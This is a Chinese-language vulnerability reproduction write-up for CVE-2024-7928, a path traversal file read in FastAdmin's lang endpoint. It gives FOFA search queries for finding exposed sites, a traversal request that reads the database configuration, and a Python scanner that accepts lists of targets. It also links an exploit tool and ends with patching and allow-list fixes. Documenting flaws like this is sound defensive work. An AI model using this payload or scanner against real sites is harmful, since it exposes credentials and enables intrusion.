FastAdmin lang接口路径穿越任意文件读取(CVE-2024-7928)漏洞复现
FastAdmin lang 接口路径穿越/任意文件读取漏洞(CVE-2024-7928)复现
漏洞概述
FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架,其/index/ajax/lang接口对lang参数缺乏严格校验。攻击者可通过构造特定请求,读取系统敏感文件,如数据库配置文件、系统配置文件等。
然而,近期曝光 的CVE-2024-7928漏洞却给使用低版本FastAdmin的用户敲响了安全警钟。这个漏洞的核心问题在于框架对语言切换功能的参数过滤不严,导致攻击者可以利用该漏洞读取服务器上的任意文件。
具体来说,漏洞存在于/index/ajax/lang?lang=这个接口中。正常情况下,这个接口用于切换网站的语言版本,比如传入lang=en可以切换到英文界面。但由于旧版本FastAdmin没有对lang参数进行严格的过滤和校验,攻击者可以通过构造特殊的参数值来读取服务器上的敏感文件。
在实际测试中发现,攻击者可以尝试读取/etc/passwd、数据库配置文件、日志文件 等敏感信息。一旦这些信息泄露,可能会导致更严重的安全问题,比如数据库被入侵、服务器被控制等。
在FastAdmin 1.3.3.20220121版本中发现了一个被分类为问题性的漏洞。该漏洞影响了文件/index/ajax/lang的一些未知功能。通过操作参数lang可以导致路径遍历。攻击可能远程发起。该漏洞已被公开披露并可被利用。升级到版本1.3.4.20220530可以解决此问题。建议升级受影响组件。
受影响组件:
FastAdmin版本:低于1.3.4
漏洞原理
该漏洞的核心在于FastAdmin的/index/ajax/lang接口对lang参数缺乏严格校验。当框架处理多语言切换请求时,本应只加载指定语言包文件,但由于未对输入路径进行规范化处理,攻击者可以通过../../这样的路径跳转符号突破目录限制。
例如,通过请求/index/ajax/lang?lang=../../application/database,攻击者可以直接读取数据库配置文件。
漏洞复现
fofa:
icon_hash="-1036943727"
body=“/assets/js/require.js”
Fastadmin登录框入口如下:

直接访问读取数据库配置文件
/index/ajax/lang?lang=..//..//application/database

或使用Burp Suite等工具抓包,并将GET请求替换为以下内容:
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: your-fastadmin-site.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
POC:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 指定脚本运行环境为Python,并设置文件编码为utf-8
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning
RED = '\033[91m'
# 定义红色文本的颜色代码
RESET = '\033[0m'
# 定义重置文本颜色的代码
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 禁用requests库在urllib3中的不安全请求警告
def check_vulnerability(url):
# 定义一个函数,用于检查指定URL是否存在漏洞
try:
# 尝试执行以下代码
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/index/ajax/lang?lang=%2e%2e/%2e%2e/application/database"
# 发送GET请求到构造的URL,不验证SSL证书,超时时间设置为10秒
response = requests.get(attack_url, verify=False, timeout=10)
# 检查响应状态码是否为200,以及响应文本中是否包含'jsonpReturn'
if response.status_code == 200 and 'jsonpReturn' in response.text:
# 如果条件满足,打印出可能存在漏洞的信息
print(f"{RED}URL [{url}] 可能存在Fastadmin框架lang任意文件读取漏洞{RESET}")
else:
# 如果条件不满足,打印出不存在漏洞的信息
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
# 如果请求超时,打印出请求超时的信息
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
# 如果发生其他请求相关的异常,打印出请求失败的信息及异常内容
print(f"URL [{url}] 请求失败: {e}")
def main():
# 定义主函数
parser = argparse.ArgumentParser(description='检测目标地址是否存在Fastadmin框架lang任意文件读取漏洞')
# 创建ArgumentParser对象,用于解析命令行参数,并设置描述信息
parser.add_argument('-u', '--url', help='指定目标地址')
# 添加命令行参数'-u'或'--url',用于指定单个目标地址
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
# 添加命令行参数'-f'或'--file',用于指定包含多个目标地址的文件
args = parser.parse_args()
# 解析命令行参数
if args.url:
# 如果指定了单个目标地址
if not args.url.startswith("http://") and not args.url.startswith("https://"):
# 如果地址不以http://或https://开头,则添加http://
args.url = "http://" + args.url
check_vulnerability(args.url)
# 调用check_vulnerability函数进行检查
elif args.file:
# 如果指定了包含目标地址的文件
with open(args.file, 'r') as file:
# 打开文件并逐行读取
urls = file.read().splitlines()
# 读取所有行并存储在urls列表中
for url in urls:
# 对列表中的每个URL进行处理
if not url.startswith("http://") and not url.startswith("https://"):
# 如果URL不以http://或https://开头,则添加http://
url = "http://" + url
check_vulnerability(url)
# 对每个URL调用check_vulnerability函数进行检查
if __name__ == '__main__':
main()
# 如果脚本被直接运行,则调用main函数
相关利用工具:
https://github.com/3xsh0re/FastAdmin-exp
修复建议
更新版本
将FastAdmin更新到最新版本,以获取官方修复补丁。
官方补丁修补方案:
https://www.fastadmin.net/news/94.html
https://cloud.tencent.com/developer/article/2476981
禁用多语言切换
如果站点不使用多语言功能,可以通过修改application/config.php文件,将lang_switch_on的值设置为false。
添加访问控制
在application/common/behavior/Common.php文件中添加以下代码,限制允许的语言列表:
public function appInit()
{
$allowLangList = Config::get('allow_lang_list') ?? ['zh-cn', 'en'];
\think\Lang::setAllowLangList($allowLangList);
}
然后在application/tags.php文件中,在app_init对应的数组中添加'app\common\behavior\Common'。
使用安全防护工具
部署Web应用防火墙(WAF)或入侵检测系统(IDS),以拦截和阻止恶意请求。
总结
FastAdmin的lang接口任意文件读取漏洞是一个严重的安全问题,可能泄露系统敏感信息。建议用户尽快更新到最新版本或采取上述修复措施,以确保系统安全。同时,加强系统的安全监控和日志记录,以便及时发现和应对潜在的安全威胁。
- 感谢你赐予我前进的力量